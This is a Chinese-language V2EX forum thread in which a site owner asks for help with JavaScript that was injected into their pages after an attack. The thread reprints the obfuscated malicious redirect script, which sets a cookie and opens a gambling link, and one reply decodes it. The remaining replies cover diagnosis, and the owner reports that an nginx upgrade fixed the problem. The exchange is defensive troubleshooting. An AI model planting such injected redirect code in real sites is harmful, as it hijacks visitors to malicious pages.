小白咨询,网站被攻击后打开有弹窗。。。

2022-12-01 17:27:48 +08:00
 kingmo888

离了个大谱,被 D 后,打开网页会有弹窗。

清理缓存,经过 F12 ,发现首个加载的 JS 开头会被插入一段代码,

屏蔽所有 JS 后没有问题。

扫描了一下未发现病毒。

SSL 下也无解,这该从何处入手呢。

var _0x3402 = ['dGFyZ2V0', 'YXBwZW5kQ2hpbGQ=', 'aHR0cHM6Ly8za2R2NTh4ay5pYnRvYzN0Ny5jb20=', 'Y2xpY2s=', 'RE9NQ29udGVudExvYWRlZA==', 'b2tr', 'X2JsYW5r', 'Y29va2ll', 'Ym9keQ==', 'MTIz', 'a2tmZnM=', 'd2FmX3NjPTU4ODk2NDc3MjY7ZXhwaXJlcz0=', 'd2FmX3NjPTU4ODk2NDc3MjY=', 'cmFuZG9t', 'Z2V0VGltZQ=='];
(function(_0x4f678f, _0x3402d3) {
    var _0x22dcf8 = function(_0x48d0ed) {
        while (--_0x48d0ed) {
            _0x4f678f['push'](_0x4f678f['shift']());
        }
    };
    _0x22dcf8(++_0x3402d3);
}(_0x3402, 0x1b1));
var _0x22dc = function(_0x4f678f, _0x3402d3) {
    _0x4f678f = _0x4f678f - 0x0;
    var _0x22dcf8 = _0x3402[_0x4f678f];
    if (_0x22dc['YbLqLE'] === undefined) {
        (function() {
            var _0x55fb65;
            try {
                var _0x99ff51 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
                _0x55fb65 = _0x99ff51();
            } catch (_0x186283) {
                _0x55fb65 = window;
            }
            var _0x245ad6 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x55fb65['atob'] || (_0x55fb65['atob'] = function(_0x45ea70) {
                var _0x373e1f = String(_0x45ea70)['replace'](/=+$/, '');
                var _0x474828 = '';
                for (var _0x25b404 = 0x0, _0x4e134e, _0x51471c, _0x109a80 = 0x0; _0x51471c = _0x373e1f['charAt'](_0x109a80++); ~_0x51471c && (_0x4e134e = _0x25b404 % 0x4 ? _0x4e134e * 0x40 + _0x51471c : _0x51471c,
                _0x25b404++ % 0x4) ? _0x474828 += String['fromCharCode'](0xff & _0x4e134e >> (-0x2 * _0x25b404 & 0x6)) : 0x0) {
                    _0x51471c = _0x245ad6['indexOf'](_0x51471c);
                }
                return _0x474828;
            }
            );
        }());
        _0x22dc['pzRRBR'] = function(_0x2f9082) {
            var _0x4ab614 = atob(_0x2f9082);
            var _0x28b9ef = [];
            for (var _0x40b68a = 0x0, _0xc5670f = _0x4ab614['length']; _0x40b68a < _0xc5670f; _0x40b68a++) {
                _0x28b9ef += '%' + ('00' + _0x4ab614['charCodeAt'](_0x40b68a)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(_0x28b9ef);
        }
        ;
        _0x22dc['GHNzVI'] = {};
        _0x22dc['YbLqLE'] = !![];
    }
    var _0x48d0ed = _0x22dc['GHNzVI'][_0x4f678f];
    if (_0x48d0ed === undefined) {
        _0x22dcf8 = _0x22dc['pzRRBR'](_0x22dcf8);
        _0x22dc['GHNzVI'][_0x4f678f] = _0x22dcf8;
    } else {
        _0x22dcf8 = _0x48d0ed;
    }
    return _0x22dcf8;
};
function addiframe() {
    var _0x22998d = document['createElement']('a');
    _0x22998d['href'] = _0x22dc('0x4');
    _0x22998d[_0x22dc('0x2')] = _0x22dc('0x8');
    document[_0x22dc('0xa')][_0x22dc('0x3')](_0x22998d);
    _0x22998d[_0x22dc('0x5')]();
    setTimeout(()=>document[_0x22dc('0xa')]['removeChild'](_0x22998d), 0x1f40);
}
function setcookie() {
    var _0x3a43d1 = new Date();
    _0x3a43d1['setTime'](_0x3a43d1[_0x22dc('0x1')]() + 0x18 * 0x3 * 0x3c * 0x3c * 0x3e8);
    var _0x504815 = document[_0x22dc('0x9')]['indexOf'](_0x22dc('0xe'));
    if (_0x504815 < 0x0 && document[_0x22dc('0x7')] == null) {
        document[_0x22dc('0x7')] = _0x22dc('0xb');
        document['addEventListener'](_0x22dc('0x6'), function(_0x301b98) {
            if (document[_0x22dc('0xc')] == null) {
                document[_0x22dc('0xc')] = _0x22dc('0xb');
                var _0x5d8a65 = Math['floor'](Math[_0x22dc('0x0')]() * 0x64) + 0x1;
                if (_0x5d8a65 <= 0x64) {
                    document[_0x22dc('0x9')] = _0x22dc('0xd') + _0x3a43d1['toGMTString']();
                    addiframe();
                }
            }
        });
    }
}
setcookie();
2457 次点击
所在节点    问与答
21 条回复
kingjpa
2022-12-01 17:38:26 +08:00
必然是网站 被篡改了啊,看修改日期和本地进行 hash 比对。
eason1874
2022-12-01 17:40:22 +08:00
这是被挂马了,JS 只是篡改对象,不是恶意程序本身

是不是用了什么开源建站程序,没做防护,没有及时升级
triangle111
2022-12-01 18:46:19 +08:00
应该是菠菜网址吧


function addiframe() {
var _0x22998d = document["createElement"]("a");

_0x22998d["href"] = "3kdv58xk.ibtoc3t7.com";
_0x22998d["target"] = "_blank";
document["body"]["appendChild"](_0x22998d);

_0x22998d["click"]();

setTimeout(() => document["body"]["removeChild"](_0x22998d), 8000);
}

function setcookie() {
var _0x3a43d1 = new Date();

_0x3a43d1["setTime"](_0x3a43d1["getTime"]() + 259200000);

var _0x504815 = document["cookie"]["indexOf"]("waf_sc=5889647726");

if (_0x504815 < 0 && document["okk"] == null) {
document["okk"] = "123";
document["addEventListener"]("DOMContentLoaded", function (_0x301b98) {
if (document["kkffs"] == null) {
document["kkffs"] = "123";

var _0x5d8a65 = Math["floor"](Math["random"]() * 100) + 1;

if (_0x5d8a65 <= 100) {
document["cookie"] = "waf_sc=5889647726;expires=" + _0x3a43d1["toGMTString"]();
addiframe();
}
}
});
}
}

setcookie();
opengps
2022-12-01 19:29:23 +08:00
如果你是 http ,那就太正常了,半路上随便一个地方想做手脚都可以给你加上这段代码,办法就是 https
opengps
2022-12-01 19:30:21 +08:00
但是 https 下有问题,我曾经遇到一个客户,他服务器上中了这类病毒程序,从源头上进行了添加额外内容
kingmo888
2022-12-01 21:12:06 +08:00
@opengps 是的,正好证书到期,本以为 HTTP 问题,但续签证书后,HTTPS 依然是该问题。

@eason1874 如果是被挂马,那应该不会存在 js 源码没问题,然后访问的时候,任意首先加载的 js 会被插入。我确定 js 源码没问题,然后访问测试时,block 所有 js 正常,只要加载任意原 JS 就会被插入。
eason1874
2022-12-01 21:19:27 +08:00
@kingmo888 #6 所以我说 JS 只是篡改对象,不是木马本身

你可以把木马理解成服务器(或者网站程序)的插件,它会根据请求自动修改 HTTP 响应内容( JS 或者 HTML ),某些请求修改,某些请求不修改

所以你检查 JS 源码没用,你要找到木马的位置
owltacklejaguar
2022-12-01 21:51:28 +08:00
```
find / -newerct '2022-11-30 00:00' ! -newerct '2022-12-01 21:45' -name '*.php'
```
检查一下被 D 时间段前后,被修改的 PHP 类型文件。
如果是其他扩展文件自行修改。
kingmo888
2022-12-01 22:49:26 +08:00
@owltacklejaguar 感谢。检查过后,发现从服务器安装以来的 3 个月,除了 runtime ,和 phpadmin ,没有可疑修改,愁人
kingmo888
2022-12-01 22:51:45 +08:00
@owltacklejaguar 另外找到的很多文件,看了时间,并不在这时间范围内,请问是怎么回事呢。
kingmo888
2022-12-01 22:53:52 +08:00
@owltacklejaguar 对了用的宝塔面板,上面有几个不同程序的站点,所有站点都是相同的情况。
jink2018us
2022-12-02 02:02:38 +08:00
vps 删了重建
owltacklejaguar
2022-12-02 08:34:25 +08:00
@kingmo888
down 一个站点到本地复现,排查是否有恶意文件还是被劫持。
或者寻找异常进程,检查定时任务。如果不是通过站点攻击进来的话建议排查系统漏洞。
实在不行就恢复系统吧,记得备份。
systemcall
2022-12-02 09:18:48 +08:00
删了重建吧
修改时间是可以改的
你除非在别的机器上面跑个日志服务,那可能可以捕获到一些信息
kingmo888
2022-12-05 19:31:28 +08:00
@systemcall 实在是几百 G 转移起来太难了。
kingmo888
2022-12-05 19:35:37 +08:00
@owltacklejaguar 本地搭建后,访问未出现问题,应该网站源码层面没有恶意文件。

目前用这俩指令更新了系统所有库:
```
yum check-update
yum upgrade -y
```

安装 nessus 并没有扫到什么恶意(现在深度怀疑是有木马程序),漏洞倒是通过前述指令修复了 9 成危险漏洞。


深度怀疑是木马,原文中的 var _0x3402 = 里的加密变量竟然又变了。也就是说,那个辣鸡跳转网址一旦失效(墙)就会自动更新。
kingmo888
2022-12-05 19:41:30 +08:00
同时安装了 ClamAV ,进行了全部的扫描,也未发现病毒。
kingmo888
2022-12-05 19:46:26 +08:00
我去,因为是所有出站都有被注入,怀疑 nginx ,死马当活马医,测试呗,nginx 从 1.20 升级到 1.22 ,问题消失。

诶。。这也不知道怎么复查了。
owltacklejaguar
2022-12-05 19:53:55 +08:00
@kingmo888 如果升级 ng 之后问题消失,可能是 ng 版本的漏洞,去看看 ng 的日志吧
kingmo888
2022-12-05 23:09:04 +08:00
@owltacklejaguar 请问日志是看 nginx_error.log 以及 access.log 吗 谢谢

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/899387

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX